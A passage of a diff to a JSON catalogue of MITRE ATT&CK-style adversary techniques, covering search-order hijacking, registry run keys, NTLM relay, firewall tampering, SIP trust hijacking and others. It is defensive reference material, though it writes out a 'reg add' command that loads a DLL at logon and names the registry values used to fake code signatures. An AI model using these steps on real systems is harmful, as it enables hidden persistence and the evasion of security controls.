"subtechnique-of" + } + ], + "uuid": "0c2d00da-7742-49e7-9928-4514e5075d32", + "value": "Path Interception by PATH Environment Variable - T1574.007" + }, + { + "description": "Adversaries may execute their own malicious payloads by hijacking the search order used to load other programs. Because some programs do not call other programs using the full path, adversaries may place their own file in the directory where the calling program is located, causing the operating system to launch their malicious software at the request of the calling program.\n\nSearch order hijacking occurs when an adversary abuses the order in which Windows searches for programs that are not given a path. Unlike [DLL Search Order Hijacking](https://attack.mitre.org/techniques/T1574/001), the search order differs depending on the method that is used to execute the program. (Citation: Microsoft CreateProcess) (Citation: Windows NT Command Shell) (Citation: Microsoft WinExec) However, it is common for Windows to search in the directory of the initiating program before searching through the Windows system directory. An adversary who finds a program vulnerable to search order hijacking (i.e., a program that does not specify the path to an executable) may take advantage of this vulnerability by creating a program named after the improperly specified program and placing it within the initiating program's directory.\n\nFor example, \"example.exe\" runs \"cmd.exe\" with the command-line argument net user. An adversary may place a program called \"net.exe\" within the same directory as example.exe, \"net.exe\" will be run instead of the Windows system utility net. In addition, if an adversary places a program called \"net.com\" in the same directory as \"net.exe\", then cmd.exe /C net user will execute \"net.com\" instead of \"net.exe\" due to the order of executable extensions defined under PATHEXT. (Citation: Microsoft Environment Property)\n\nSearch order hijacking is also a common practice for hijacking DLL loads and is covered in [DLL Search Order Hijacking](https://attack.mitre.org/techniques/T1574/001).", + "meta": { + "external_id": "CAPEC-CAPEC", + "kill_chain": [ + "mitre-attack:persistence", + "mitre-attack:privilege-escalation", + "mitre-attack:defense-evasion" + ], + "mitre_data_sources": [ + "Process monitoring", + "File monitoring" + ], + "mitre_platforms": [ + "Windows" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1574/008", + "https://capec.mitre.org/data/definitions/CAPEC.html", + "http://msdn.microsoft.com/en-us/library/ms682425", + "https://docs.microsoft.com/en-us/previous-versions//cc723564(v=technet.10)?redirectedfrom=MSDN#XSLTsection127121120120", + "http://msdn.microsoft.com/en-us/library/ms687393", + "https://docs.microsoft.com/en-us/previous-versions//fd7hxfdd(v=vs.85)?redirectedfrom=MSDN" + ] + }, + "related": [ + { + "dest-uuid": "aedfca76-3b30-4866-b2aa-0f1d7fd1e4b6", + "type": "subtechnique-of" + } + ], + "uuid": "58af3705-8740-4c68-9329-ec015a7013c2", + "value": "Path Interception by Search Order Hijacking - T1574.008" + }, + { + "description": "Adding an entry to the \"run keys\" in the Registry or startup folder will cause the program referenced to be executed when a user logs in. (Citation: Microsoft Run Key) These programs will be executed under the context of the user and will have the account's associated permissions level.\n\nThe following run keys are created by default on Windows systems:\n* HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\n* HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce\n* HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\n* HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce\n\nThe HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows\\CurrentVersion\\RunOnceEx is also available but is not created by default on Windows Vista and newer. Registry run key entries can reference programs directly or list them as a dependency. (Citation: Microsoft RunOnceEx APR 2018) For example, it is possible to load a DLL at logon using a \"Depend\" key with RunOnceEx: reg add HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\RunOnceEx\\0001\\Depend /v 1 /d \"C:\\temp\\evil[.]dll\" (Citation: Oddvar Moe RunOnceEx Mar 2018)\n\nThe following Registry keys can be used to set startup folder items for persistence:\n* HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders\n* HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\Shell Folders\n* HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Explorer\\Shell Folders\n* HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders\n\nThe following Registry keys can control automatic startup of services during boot:\n* HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows\\CurrentVersion\\RunServicesOnce\n* HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\RunServicesOnce\n* HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows\\CurrentVersion\\RunServices\n* HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\RunServices\n\nUsing policy settings to specify startup programs creates corresponding values in either of two Registry keys:\n* HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer\\Run\n* HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer\\Run\n\nThe Winlogon key controls actions that occur when a user logs on to a computer running Windows 7. Most of these actions are under the control of the operating system, but you can also add custom actions here. The HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\Userinit and HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\Shell subkeys can automatically launch programs.\n\nPrograms listed in the load value of the registry key HKEY_CURRENT_USER\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows run when any user logs on.\n\nBy default, the multistring BootExecute value of the registry key HKEY_LOCAL_MACHINE\\System\\CurrentControlSet\\Control\\Session Manager is set to autocheck autochk *. This value causes Windows, at startup, to check the file-system integrity of the hard disks if the system has been shut down abnormally. Adversaries can add other programs or processes to this registry value which will automatically launch at boot.\n\n\nAdversaries can use these configuration locations to execute malware, such as remote access tools, to maintain persistence through system reboots. Adversaries may also use [Masquerading](https://attack.mitre.org/techniques/T1036) to make the Registry entries look as if they are associated with legitimate programs.", + "meta": { + "external_id": "CAPEC-270", "refs": [ "https://attack.mitre.org/techniques/T1060", "https://capec.mitre.org/data/definitions/270.html", @@ -563,6 +868,15 @@ "https://technet.microsoft.com/en-us/sysinternals/bb963902" ] }, + "related": [ + { + "dest-uuid": "9efb1ea7-c37b-4595-9640-b7680cd84279", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "revoked-by" + } + ], "uuid": "9422fc14-1c43-410d-ab0f-a709b76c72dc", "value": "Registry Run Keys / Startup Folder - T1060" }, @@ -591,30 +905,6 @@ "uuid": "fb3fa94a-3aee-4ab0-b7e7-abdf0a51286d", "value": "Exploit SS7 to Redirect Phone Calls/SMS - T1449" }, - { - "description": "Data exfiltration is performed over the Command and Control channel. Data is encoded into the normal communications channel using the same protocol as command and control communications.", - "meta": { - "external_id": "T1041", - "kill_chain": [ - "mitre-attack:exfiltration" - ], - "mitre_data_sources": [ - "User interface", - "Process monitoring" - ], - "mitre_platforms": [ - "Linux", - "macOS", - "Windows" - ], - "refs": [ - "https://attack.mitre.org/techniques/T1041", - "https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf" - ] - }, - "uuid": "92d7da27-2d91-488e-a00c-059dc162766d", - "value": "Exfiltration Over Command and Control Channel - T1041" - }, { "description": "Physical access may be required for certain types of adversarial actions. (Citation: CyberPhysicalAssessment) (Citation: CriticalInfrastructureAssessment)", "meta": { @@ -723,7 +1013,7 @@ "value": "Stolen Developer Credentials or Signing Keys - T1441" }, { - "description": "Adversaries may use the Windows Component Object Model (COM) and Distributed Component Object Model (DCOM) for local code execution or to execute on remote systems as part of lateral movement. \n\nCOM is a component of the native Windows application programming interface (API) that enables interaction between software objects, or executable code that implements one or more interfaces.(Citation: Fireeye Hunting COM June 2019) Through COM, a client object can call methods of server objects, which are typically Dynamic Link Libraries (DLL) or executables (EXE).(Citation: Microsoft COM) DCOM is transparent middleware that extends the functionality of Component Object Model (COM) (Citation: Microsoft COM) beyond a local computer using remote procedure call (RPC) technology.(Citation: Fireeye Hunting COM June 2019)\n\nPermissions to interact with local and remote server COM objects are specified by access control lists (ACL) in the Registry. (Citation: Microsoft COM ACL)(Citation: Microsoft Process Wide Com Keys)(Citation: Microsoft System Wide Com Keys) By default, only Administrators may remotely activate and launch COM objects through DCOM.\n\nAdversaries may abuse COM for local command and/or payload execution. Various COM interfaces are exposed that can be abused to invoke arbitrary execution via a variety of programming languages such as C, C++, Java, and VBScript.(Citation: Microsoft COM) Specific COM objects also exists to directly perform functions beyond code execution, such as creating a [Scheduled Task](https://attack.mitre.org/techniques/T1053), fileless download/execution, and other adversary behaviors such as Privilege Escalation and Persistence.(Citation: Fireeye Hunting COM June 2019)(Citation: ProjectZero File Write EoP Apr 2018)\n\nAdversaries may use DCOM for lateral movement. Through DCOM, adversaries operating in the context of an appropriately privileged user can remotely obtain arbitrary and even direct shellcode execution through Office applications (Citation: Enigma Outlook DCOM Lateral Movement Nov 2017) as well as other Windows objects that contain insecure methods.(Citation: Enigma MMC20 COM Jan 2017)(Citation: Enigma DCOM Lateral Movement Jan 2017) DCOM can also execute macros in existing documents (Citation: Enigma Excel DCOM Sept 2017) and may also invoke [Dynamic Data Exchange](https://attack.mitre.org/techniques/T1173) (DDE) execution directly through a COM created instance of a Microsoft Office application (Citation: Cyberreason DCOM DDE Lateral Movement Nov 2017), bypassing the need for a malicious document.", + "description": "**This technique has been deprecated. Please use [Distributed Component Object Model](https://attack.mitre.org/techniques/T1021/003) and [Component Object Model](https://attack.mitre.org/techniques/T1559/001).**\n\nAdversaries may use the Windows Component Object Model (COM) and Distributed Component Object Model (DCOM) for local code execution or to execute on remote systems as part of lateral movement. \n\nCOM is a component of the native Windows application programming interface (API) that enables interaction between software objects, or executable code that implements one or more interfaces.(Citation: Fireeye Hunting COM June 2019) Through COM, a client object can call methods of server objects, which are typically Dynamic Link Libraries (DLL) or executables (EXE).(Citation: Microsoft COM) DCOM is transparent middleware that extends the functionality of Component Object Model (COM) (Citation: Microsoft COM) beyond a local computer using remote procedure call (RPC) technology.(Citation: Fireeye Hunting COM June 2019)\n\nPermissions to interact with local and remote server COM objects are specified by access control lists (ACL) in the Registry. (Citation: Microsoft COM ACL)(Citation: Microsoft Process Wide Com Keys)(Citation: Microsoft System Wide Com Keys) By default, only Administrators may remotely activate and launch COM objects through DCOM.\n\nAdversaries may abuse COM for local command and/or payload execution. Various COM interfaces are exposed that can be abused to invoke arbitrary execution via a variety of programming languages such as C, C++, Java, and VBScript.(Citation: Microsoft COM) Specific COM objects also exists to directly perform functions beyond code execution, such as creating a [Scheduled Task/Job](https://attack.mitre.org/techniques/T1053), fileless download/execution, and other adversary behaviors such as Privilege Escalation and Persistence.(Citation: Fireeye Hunting COM June 2019)(Citation: ProjectZero File Write EoP Apr 2018)\n\nAdversaries may use DCOM for lateral movement. Through DCOM, adversaries operating in the context of an appropriately privileged user can remotely obtain arbitrary and even direct shellcode execution through Office applications (Citation: Enigma Outlook DCOM Lateral Movement Nov 2017) as well as other Windows objects that contain insecure methods.(Citation: Enigma MMC20 COM Jan 2017)(Citation: Enigma DCOM Lateral Movement Jan 2017) DCOM can also execute macros in existing documents (Citation: Enigma Excel DCOM Sept 2017) and may also invoke [Dynamic Data Exchange](https://attack.mitre.org/techniques/T1173) (DDE) execution directly through a COM created instance of a Microsoft Office application (Citation: Cyberreason DCOM DDE Lateral Movement Nov 2017), bypassing the need for a malicious document.", "meta": { "external_id": "T1175", "kill_chain": [ @@ -968,7 +1258,7 @@ "value": "Test malware in various execution environments - T1357" }, { - "description": "This technique has been deprecated. Please see ATT&CK's Initial Access and Execution tactics for replacement techniques.\n\nSocial Engineering is the practice of manipulating people in order to get them to divulge information or take an action. Human Intelligence (HUMINT) is intelligence collected and provided by human sources. (Citation: 17millionScam) (Citation: UbiquityEmailScam)", + "description": "**This technique has been deprecated. Please see ATT&CK's Initial Access and Execution tactics for replacement techniques.**\n\nSocial Engineering is the practice of manipulating people in order to get them to divulge information or take an action. Human Intelligence (HUMINT) is intelligence collected and provided by human sources. (Citation: 17millionScam) (Citation: UbiquityEmailScam)", "meta": { "external_id": "T1376", "kill_chain": [ @@ -982,7 +1272,7 @@ "value": "Conduct social engineering or HUMINT operation - T1376" }, { - "description": "This technique has been deprecated. Please see ATT&CK's Initial Access and Execution tactics for replacement techniques.\n\nEmails with malicious attachments are designed to get a user to open/execute the attachment in order to deliver malware payloads. (Citation: APT1)", + "description": "**This technique has been deprecated. Please use [Spearphishing Attachment](https://attack.mitre.org/techniques/T1566/001).**\n\nEmails with malicious attachments are designed to get a user to open/execute the attachment in order to deliver malware payloads. (Citation: APT1)", "meta": { "external_id": "T1367", "kill_chain": [ @@ -996,7 +1286,7 @@ "value": "Spear phishing messages with malicious attachments - T1367" }, { - "description": "This technique has been deprecated. Please see ATT&CK's Initial Access and Execution tactics for replacement techniques.\n\nClicking on links in email, opening attachments, or visiting websites that result in drive by downloads can all result in compromise due to users performing actions of a cyber nature. (Citation: AnonHBGary)", + "description": "**This technique has been deprecated. Please see ATT&CK's Initial Access and Execution tactics for replacement techniques.**\n\nClicking on links in email, opening attachments, or visiting websites that result in drive by downloads can all result in compromise due to users performing actions of a cyber nature. (Citation: AnonHBGary)", "meta": { "external_id": "T1386", "kill_chain": [ @@ -1010,7 +1300,7 @@ "value": "Authorized user performs requested cyber action - T1386" }, { - "description": "This technique has been deprecated. Please see ATT&CK's Initial Access and Execution tactics for replacement techniques.\n\nEmails with text only phishing messages do not contain any attachments or links to websites. They are designed to get a user to take a follow on action such as calling a phone number or wiring money. They can also be used to elicit an email response to confirm existence of an account or user. (Citation: Paypal Phone Scam)", + "description": "**This technique has been deprecated. Please use [Phishing](https://attack.mitre.org/techniques/T1566) where appropriate.**\n\nEmails with text only phishing messages do not contain any attachments or links to websites. They are designed to get a user to take a follow on action such as calling a phone number or wiring money. They can also be used to elicit an email response to confirm existence of an account or user. (Citation: Paypal Phone Scam)", "meta": { "external_id": "T1368", "kill_chain": [ @@ -1024,7 +1314,7 @@ "value": "Spear phishing messages with text only - T1368" }, { - "description": "This technique has been deprecated. Please see ATT&CK's Initial Access and Execution tactics for replacement techniques.\n\nEmails with malicious links are designed to get a user to click on the link in order to deliver malware payloads. (Citation: GoogleDrive Phishing) (Citation: RSASEThreat)", + "description": "**This technique has been deprecated. Please use [Spearphishing Link](https://attack.mitre.org/techniques/T1566/002).**\n\nEmails with malicious links are designed to get a user to click on the link in order to deliver malware payloads. (Citation: GoogleDrive Phishing) (Citation: RSASEThreat)", "meta": { "external_id": "T1369", "kill_chain": [ @@ -1038,7 +1328,7 @@ "value": "Spear phishing messages with malicious links - T1369" }, { - "description": "This technique has been deprecated. Please see ATT&CK's Initial Access and Execution tactics for replacement techniques.\n\nIf an adversary can gain physical access to the target's environment they can introduce a variety of devices that provide compromise mechanisms. This could include installing keyboard loggers, adding routing/wireless equipment, or connecting computing devices. (Citation: Credit Card Skimmers)", + "description": "**This technique has been deprecated. Please use [Hardware Additions](https://attack.mitre.org/techniques/T1200) where appropriate.**\n\nIf an adversary can gain physical access to the target's environment they can introduce a variety of devices that provide compromise mechanisms. This could include installing keyboard loggers, adding routing/wireless equipment, or connecting computing devices. (Citation: Credit Card Skimmers)", "meta": { "external_id": "T1387", "kill_chain": [ @@ -1138,22 +1428,386 @@ "value": "Upload, install, and configure software/tools - T1362" }, { - "description": "An Android application can listen for the BOOT_COMPLETED broadcast, ensuring that the app's functionality will be activated every time the device starts up without having to wait for the device user to manually start the app.\n\nAn analysis published in 2012(Citation: Zhou) of 1260 Android malware samples belonging to 49 families of malware determined that 29 malware families and 83.3% of the samples listened for BOOT_COMPLETED.", + "description": "Adversaries may steal data by exfiltrating it over an un-encrypted network protocol other than that of the existing command and control channel. The data may also be sent to an alternate network location from the main command and control server. \n\nAdversaries may opt to obfuscate this data, without the use of encryption, within network protocols that are natively unencrypted (such as HTTP, FTP, or DNS). This may include custom or publicly available encoding/compression algorithms (such as base64) as well as embedding data within protocol headers and fields. ", "meta": { - "external_id": "T1402", + "external_id": "T1048.003", "kill_chain": [ - "mitre-mobile-attack:persistence" + "mitre-attack:exfiltration" + ], + "mitre_data_sources": [ + "Network protocol analysis", + "Netflow/Enclave netflow", + "Packet capture", + "Process use of network" ], "mitre_platforms": [ - "Android" + "Linux", + "macOS", + "Windows" ], "refs": [ - "https://attack.mitre.org/techniques/T1402", - "http://ieeexplore.ieee.org/document/6234407" + "https://attack.mitre.org/techniques/T1048/003", + "https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf" ] }, - "uuid": "bd4d32f5-eed4-4018-a649-40b229dd1d69", - "value": "App Auto-Start at Device Boot - T1402" + "related": [ + { + "dest-uuid": "a19e86f8-1c0a-4fea-8407-23b73d615776", + "type": "subtechnique-of" + } + ], + "uuid": "fb8d023d-45be-47e9-bc51-f56bcae6435b", + "value": "Exfiltration Over Unencrypted/Obfuscated Non-C2 Protocol - T1048.003" + }, + { + "description": "By responding to LLMNR/NBT-NS network traffic, adversaries may spoof an authoritative source for name resolution to force communication with an adversary controlled system. This activity may be used to collect or relay authentication materials. \n\nLink-Local Multicast Name Resolution (LLMNR) and NetBIOS Name Service (NBT-NS) are Microsoft Windows components that serve as alternate methods of host identification. LLMNR is based upon the Domain Name System (DNS) format and allows hosts on the same local link to perform name resolution for other hosts. NBT-NS identifies systems on a local network by their NetBIOS name. (Citation: Wikipedia LLMNR) (Citation: TechNet NetBIOS)\n\nAdversaries can spoof an authoritative source for name resolution on a victim network by responding to LLMNR (UDP 5355)/NBT-NS (UDP 137) traffic as if they know the identity of the requested host, effectively poisoning the service so that the victims will communicate with the adversary controlled system. If the requested host belongs to a resource that requires identification/authentication, the username and NTLMv2 hash will then be sent to the adversary controlled system. The adversary can then collect the hash information sent over the wire through tools that monitor the ports for traffic or through [Network Sniffing](https://attack.mitre.org/techniques/T1040) and crack the hashes offline through [Brute Force](https://attack.mitre.org/techniques/T1110) to obtain the plaintext passwords. In some cases where an adversary has access to a system that is in the authentication path between systems or when automated scans that use credentials attempt to authenticate to an adversary controlled system, the NTLMv2 hashes can be intercepted and relayed to access and execute code against a target system. The relay step can happen in conjunction with poisoning but may also be independent of it. (Citation: byt3bl33d3r NTLM Relaying)(Citation: Secure Ideas SMB Relay)\n\nSeveral tools exist that can be used to poison name services within local networks such as NBNSpoof, Metasploit, and [Responder](https://attack.mitre.org/software/S0174). (Citation: GitHub NBNSpoof) (Citation: Rapid7 LLMNR Spoofer) (Citation: GitHub Responder)", + "meta": { + "external_id": "T1557.001", + "kill_chain": [ + "mitre-attack:credential-access", + "mitre-attack:collection" + ], + "mitre_data_sources": [ + "Windows event logs", + "Windows Registry", + "Packet capture", + "Netflow/Enclave netflow" + ], + "mitre_platforms": [ + "Windows" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1557/001", + "https://en.wikipedia.org/wiki/Link-Local_Multicast_Name_Resolution", + "https://technet.microsoft.com/library/cc958811.aspx", + "https://byt3bl33d3r.github.io/practical-guide-to-ntlm-relaying-in-2017-aka-getting-a-foothold-in-under-5-minutes.html", + "https://blog.secureideas.com/2018/04/ever-run-a-relay-why-smb-relays-should-be-on-your-mind.html", + "https://github.com/nomex/nbnspoof", + "https://www.rapid7.com/db/modules/auxiliary/spoof/llmnr/llmnr_response", + "https://github.com/SpiderLabs/Responder", + "https://www.sternsecurity.com/blog/local-network-attacks-llmnr-and-nbt-ns-poisoning", + "https://github.com/Kevin-Robertson/Conveigh" + ] + }, + "related": [ + { + "dest-uuid": "035bb001-ab69-4a0b-9f6c-2de8b09e1b9d", + "type": "subtechnique-of" + } + ], + "uuid": "650c784b-7504-4df7-ab2c-4ea882384d1e", + "value": "LLMNR/NBT-NS Poisoning and SMB Relay - T1557.001" + }, + { + "description": "Adversaries may add adversary-controlled credentials for Azure Service Principals in addition to existing legitimate credentials(Citation: Create Azure Service Principal) to maintain persistent access to victim Azure accounts.(Citation: Blue Cloud of Death)(Citation: Blue Cloud of Death Video) Azure Service Principals support both password and certificate credentials.(Citation: Why AAD Service Principals) With sufficient permissions, there are a variety of ways to add credentials including the Azure Portal, Azure command line interface, and Azure or Az [PowerShell](https://attack.mitre.org/techniques/T1059/001) modules.(Citation: Demystifying Azure AD Service Principals)", + "meta": { + "external_id": "T1098.001", + "kill_chain": [ + "mitre-attack:persistence" + ], + "mitre_data_sources": [ + "Azure activity logs" + ], + "mitre_platforms": [ + "Azure AD", + "Azure" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1098/001", + "https://docs.microsoft.com/en-us/cli/azure/create-an-azure-service-principal-azure-cli?toc=%2Fazure%2Fazure-resource-manager%2Ftoc.json&view=azure-cli-latest", + "https://speakerdeck.com/tweekfawkes/blue-cloud-of-death-red-teaming-azure-1", + "https://www.youtube.com/watch?v=wQ1CuAPnrLM&feature=youtu.be&t=2815", + "https://github.com/microsoft/AzureSuperpowers/blob/master/docs/AzureSuperpowers.md#why-aad-service-principals", + "https://nedinthecloud.com/2019/07/16/demystifying-azure-ad-service-principals/" + ] + }, + "related": [ + { + "dest-uuid": "a10641f4-87b4-45a3-a906-92a149cb2c27", + "type": "subtechnique-of" + } + ], + "uuid": "8a2f40cf-8325-47f9-96e4-b1ca4c7389bd", + "value": "Additional Azure Service Principal Credentials - T1098.001" + }, + { + "description": "Adversaries may match or approximate the name or location of legitimate files when naming/placing their files. This is done for the sake of evading defenses and observation. This may be done by placing an executable in a commonly trusted directory (ex: under System32) or giving it the name of a legitimate, trusted program (ex: svchost.exe). Alternatively, the filename given may be a close approximation of legitimate programs or something innocuous.\n\nAdversaries may also use the same icon of the file they are trying to mimic.", + "meta": { + "external_id": "CAPEC-177", + "kill_chain": [ + "mitre-attack:defense-evasion" + ], + "mitre_data_sources": [ + "File monitoring", + "Process monitoring", + "Process command-line parameters", + "Binary file metadata" + ], + "mitre_platforms": [ + "Linux", + "macOS", + "Windows" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1036/005", + "https://capec.mitre.org/data/definitions/177.html", + "http://pages.endgame.com/rs/627-YBU-612/images/EndgameJournal_The%20Masquerade%20Ball_Pages_R2.pdf", + "https://twitter.com/ItsReallyNick/status/1055321652777619457" + ] + }, + "related": [ + { + "dest-uuid": "42e8de7b-37b2-4258-905a-6897815e58e0", + "type": "subtechnique-of" + } + ], + "uuid": "1c4e5d32-1fe9-4116-9d9d-59e3925bd6a2", + "value": "Match Legitimate Name or Location - T1036.005" + }, + { + "description": "Adversaries may disable or modify system firewalls in order to bypass controls limiting network usage. Changes could be disabling the entire mechanism as well as adding, deleting, or modifying particular rules. This can be done numerous ways depending on the operating system, including via command-line, editing Windows Registry keys, and Windows Control Panel.\n\nModifying or disabling a system firewall may enable adversary C2 communications, lateral movement, and/or data exfiltration that would otherwise not be allowed. ", + "meta": { + "external_id": "T1562.004", + "kill_chain": [ + "mitre-attack:defense-evasion" + ], + "mitre_data_sources": [ + "File monitoring", + "Process command-line parameters", + "Windows Registry" + ], + "mitre_platforms": [ + "Linux", + "macOS", + "Windows" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1562/004" + ] + }, + "related": [ + { + "dest-uuid": "3d333250-30e4-4a82-9edc-756c68afc529", + "type": "subtechnique-of" + } + ], + "uuid": "5372c5fe-f424-4def-bcd5-d3a8e770f07b", + "value": "Disable or Modify System Firewall - T1562.004" + }, + { + "description": "Adversaries may disable or modify a firewall within a cloud environment to bypass controls that limit access to cloud resources. Cloud firewalls are separate from system firewalls that are described in [Disable or Modify System Firewall](https://attack.mitre.org/techniques/T1562/004). \n\nCloud environments typically utilize restrictive security groups and firewall rules that only allow network activity from trusted IP addresses via expected ports and protocols. An adversary may introduce new firewall rules or policies to allow access into a victim cloud environment. For example, an adversary may use a script or utility that creates new ingress rules in existing security groups to allow any TCP/IP connectivity.(Citation: Expel IO Evil in AWS)\n\nModifying or disabling a cloud firewall may enable adversary C2 communications, lateral movement, and/or data exfiltration that would otherwise not be allowed.", + "meta": { + "external_id": "T1562.007", + "kill_chain": [ + "mitre-attack:defense-evasion" + ], + "mitre_data_sources": [ + "Stackdriver logs", + "GCP audit logs", + "Azure activity logs", + "AWS CloudTrail logs" + ], + "mitre_platforms": [ + "AWS", + "GCP", + "Azure" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1562/007", + "https://expel.io/blog/finding-evil-in-aws/" + ] + }, + "related": [ + { + "dest-uuid": "3d333250-30e4-4a82-9edc-756c68afc529", + "type": "subtechnique-of" + } + ], + "uuid": "77532a55-c283-4cd2-bc5d-2d0b65e9d88c", + "value": "Disable or Modify Cloud Firewall - T1562.007" + }, + { + "description": "Adversaries may tamper with SIP and trust provider components to mislead the operating system and application control tools when conducting signature validation checks. In user mode, Windows Authenticode (Citation: Microsoft Authenticode) digital signatures are used to verify a file's origin and integrity, variables that may be used to establish trust in signed code (ex: a driver with a valid Microsoft signature may be handled as safe). The signature validation process is handled via the WinVerifyTrust application programming interface (API) function, (Citation: Microsoft WinVerifyTrust) which accepts an inquiry and coordinates with the appropriate trust provider, which is responsible for validating parameters of a signature. (Citation: SpectorOps Subverting Trust Sept 2017)\n\nBecause of the varying executable file types and corresponding signature formats, Microsoft created software components called Subject Interface Packages (SIPs) (Citation: EduardosBlog SIPs July 2008) to provide a layer of abstraction between API functions and files. SIPs are responsible for enabling API functions to create, retrieve, calculate, and verify signatures. Unique SIPs exist for most file formats (Executable, PowerShell, Installer, etc., with catalog signing providing a catch-all (Citation: Microsoft Catalog Files and Signatures April 2017)) and are identified by globally unique identifiers (GUIDs). (Citation: SpectorOps Subverting Trust Sept 2017)\n\nSimilar to [Code Signing](https://attack.mitre.org/techniques/T1116), adversaries may abuse this architecture to subvert trust controls and bypass security policies that allow only legitimately signed code to execute on a system. Adversaries may hijack SIP and trust provider components to mislead operating system and application control tools to classify malicious (or any) code as signed by: (Citation: SpectorOps Subverting Trust Sept 2017)\n\n* Modifying the Dll and FuncName Registry values in HKLM\\SOFTWARE[\\WOW6432Node\\]Microsoft\\Cryptography\\OID\\EncodingType 0\\CryptSIPDllGetSignedDataMsg\\{SIP_GUID} that point to the dynamic link library (DLL) providing a SIP’s CryptSIPDllGetSignedDataMsg function, which retrieves an encoded digital certificate from a signed file. By pointing to a maliciously-crafted DLL with an exported function that always returns a known good signature value (ex: a Microsoft signature for Portable Executables) rather than the file’s real signature, an adversary can apply an acceptable signature value to all files using that SIP (Citation: GitHub SIP POC Sept 2017) (although a hash mismatch will likely occur, invalidating the signature, since the hash returned by the function will not match the value computed from the file).\n* Modifying the Dll and FuncName Registry values in HKLM\\SOFTWARE\\[WOW6432Node\\]Microsoft\\Cryptography\\OID\\EncodingType 0\\CryptSIPDllVerifyIndirectData\\{SIP_GUID} that point to the DLL providing a SIP’s CryptSIPDllVerifyIndirectData function, which validates a file’s computed hash against the signed hash value. By pointing to a maliciously-crafted DLL with an exported function that always returns TRUE (indicating that the validation was successful), an adversary can successfully validate any file (with a legitimate signature) using that SIP (Citation: GitHub SIP POC Sept 2017) (with or without hijacking the previously mentioned CryptSIPDllGetSignedDataMsg function). This Registry value could also be redirected to a suitable exported function from an already present DLL, avoiding the requirement to drop and execute a new file on disk.\n* Modifying the DLL and Function Registry values in HKLM\\SOFTWARE\\[WOW6432Node\\]Microsoft\\Cryptography\\Providers\\Trust\\FinalPolicy\\{trust provider GUID} that point to the DLL providing a trust provider’s FinalPolicy function, which is where the decoded and parsed signature is checked and the majority of trust decisions are made. Similar to hijacking SIP’s CryptSIPDllVerifyIndirectData function, this value can be redirected to a suitable exported function from an already present DLL or a maliciously-crafted DLL (though the implementation of a trust provider is complex).\n* **Note:** The above hijacks are also possible without modifying the Registry via [DLL Search Order Hijacking](https://attack.mitre.org/techniques/T1038).\n\nHijacking SIP or trust provider components can also enable persistent code execution, since these malicious components may be invoked by any application that performs code signing or signature validation. (Citation: SpectorOps Subverting Trust Sept 2017)", + "meta": { + "external_id": "T1553.003", + "kill_chain": [ + "mitre-attack:defense-evasion" + ], + "mitre_data_sources": [ + "Windows Registry", + "API monitoring", + "Application logs", + "DLL monitoring", + "Loaded DLLs", + "Process monitoring", + "Windows Registry", + "Windows event logs" + ], + "mitre_platforms": [ + "Windows" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1553/003", + "https://msdn.microsoft.com/library/ms537359.aspx", + "https://msdn.microsoft.com/library/windows/desktop/aa388208.aspx", + "https://specterops.io/assets/resources/SpecterOps_Subverting_Trust_in_Windows.pdf", + "https://blogs.technet.microsoft.com/eduardonavarro/2008/07/11/sips-subject-interface-package-and-authenticode/", + "https://docs.microsoft.com/windows-hardware/drivers/install/catalog-files", + "https://github.com/mattifestation/PoCSubjectInterfacePackage", + "http://www.entrust.net/knowledge-base/technote.cfm?tn=8165", + "https://docs.microsoft.com/previous-versions/windows/it-pro/windows-server-2012-R2-and-2012/dn311461(v=ws.11)", + "https://docs.microsoft.com/previous-versions/windows/it-pro/windows-server-2008-R2-and-2008/dd941614(v=ws.10)" + ] + }, + "related": [ + { + "dest-uuid": "b83e166d-13d7-4b52-8677-dff90c548fd7", + "type": "subtechnique-of" + } + ], + "uuid": "543fceb5-cb92-40cb-aacf-6913d4db58bc", + "value": "SIP and Trust Provider Hijacking - T1553.003" + }, + { + "description": "Adversaries may establish persistence and elevate privileges by executing malicious content triggered by a Windows Management Instrumentation (WMI) event subscription. WMI can be used to install event filters, providers, consumers, and bindings that execute code when a defined event occurs. Examples of events that may be subscribed to are the wall clock time, user loging, or the computer's uptime. (Citation: Mandiant M-Trends 2015)\n\nAdversaries may use the capabilities of WMI to subscribe to an event and execute arbitrary code when that event occurs, providing persistence on a system. (Citation: FireEye WMI SANS 2015) (Citation: FireEye WMI 2015) Adversaries may also compile WMI scripts into Windows Management Object (MOF) files (.mof extension) that can be used to create a malicious subscription. (Citation: Dell WMI Persistence) (Citation: Microsoft MOF May 2018)\n\nWMI subscription execution is 